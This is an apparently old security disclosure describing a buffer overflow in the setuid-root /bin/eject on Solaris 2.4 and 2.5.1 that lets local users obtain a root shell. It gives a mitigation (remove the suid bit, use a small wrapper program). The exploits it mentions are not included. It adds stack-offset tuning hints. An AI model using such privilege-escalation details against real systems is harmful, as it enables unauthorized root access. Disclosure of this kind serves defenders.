"Hole in /bin/eject - buffer overflow"

I exploited the buffer overflow hole in /bin/eject on Solaris 2.X (who
have suid exec bit and is owned by root). The buffer overflow problem
appears in an internal function media_find(). The result is: any user can
gain root shell. So, to prevent /bin/eject exploit, you have to get out
suid-exec bit from /bin/eject (that's very simple) and compile a little
program like:

 main()
 {execl("/bin/eject","eject","floppy",(char *)0);}

That allows your work station ordinary users to eject floppy (thats the main
task for eject).

I wrote two exploits (Solaris 2.4 & 2.5.1). My exploit for Solaris 2.4
looks a bit ugly - the buffer is two short - but it works.
For both exploits argv[1] can change the STACK_OFFSET value (for
troubleshotings +- 8 .. +-64 .. the step is 8).
The interesting thing about this exploit it worked on some machines where
it was installed some stuff to make inofensiv buffer overflows exploits ...

Ok you have right down two exploits.
For future I'm planing a web page with security stuff for Solaris so try
http://www.math.pub.ro/security.
